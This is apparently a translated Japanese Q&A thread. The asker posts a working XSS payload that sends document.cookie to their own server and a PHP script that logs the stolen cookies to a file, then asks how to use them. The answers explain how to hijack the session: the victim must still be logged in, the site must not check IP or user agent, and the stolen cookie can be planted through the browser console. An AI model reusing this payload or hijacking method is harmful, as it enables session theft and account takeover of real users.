XSSの脆弱性を利用して、phpページのURLの変数としてCookieを送信することで、Cookieを盗みました。これは通常のプロセスの1つだと思います。
これはXSSペイロードです。
<script>location.href = 'http://myserverIP/test/signup.php?cookie='+document.cookie;</script>
そして、これは私のphpです:
$cookie = $_GET['cookie'];
//open the file and choose the mode
$fh = fopen("users", "a");
fwrite($fh, $cookie);
//close the file
fclose($fh);
print "User Submitted: ";
print ($cookie);
これまでのところすべて。しかし、Cookieを入手したので、それを使用して、盗んだWebサイトにアクセスする方法を教えてください。
AFAIK、盗まれたCookieの使用は、使用しているブラウザによって異なります。
たとえば、firefoxはcookieをプレーンテキストではないファイルに保存しますcookies.sqliteここでは、cookieのキー/値をコピー/貼り付けることはできません。
Firebugを使用すると、対象のWebサイトのCookieを追加/編集できます。
... phpはcookieをファイルに書き込みます。 (これは通常のプロセスの1つだと思います)。
上記の記述から、セッションがWebサイト上でどのように作成および維持されているかについての理解に誤解があるようです。ユーザーがWebサイトにログインすると、セッションIDが生成され、このIDは、次のように、クライアントのブラウザーのセッションCookieと呼ばれる特別なCookieに保存されます。
PHPSESSID:fgws4j52jcm10dkgw02nd2
同時に、その特定のユーザーに関連する変数(ユーザー名、ログイン時間など)を含む、同じIDのセッションファイル(またはデータベース行)が作成されます。これらのセッション変数はサーバー側に格納され、セッションの開始時にスーパーグローバル$_SESSION
配列から呼び出されます。
セッションをハイジャックするには、上記のような名前と値のペアを含むCookieが必要です。前提条件の1つは、攻撃中に被害者がログインして、盗まれたIDのセッションファイルがサーバー上でまだ新鮮である必要があることです。また、ハイジャック犯を阻止するために、Webサイトが他の無関係なチェック(ユーザーエージェントやIPアドレスなど)を行ってはなりません。
<script>location.href = 'http://myserverIP/test/signup.php?cookie='+document.cookie;</script>
上記で記述したJavaScriptは、スーパーグローバル$_GET
配列に名前と値のペアを挿入するだけです。あなたが望むのは、確かにURLではなく、ブラウザのクッキーを使用して名前と値のペアを送信することです。
最新のブラウザのほとんどは、sqliteなどのデータベースにCookie情報を格納しています。 Cookieを編集するには、Webコンソールまたは開発者ツールバーにアクセスする必要があります ここではChromeの場合 および ここではFirefoxの場合 。
JavaScriptを使用して、ブラウザーにCookieを設定できます。
document.cookie =
'cookie1=test; expires=Fri, 3 Aug 2022 20:47:11 UTC; path=/'
F12キーを押してコンソールを開くか、JavaScriptをWebページに配置するだけです。
https://stackoverflow.com/questions/14573223/set-cookie-and-get-cookie-with-javascript を参照してください
実際にそれを行うにはさまざまな方法があり、すべて同じものに煮詰められます。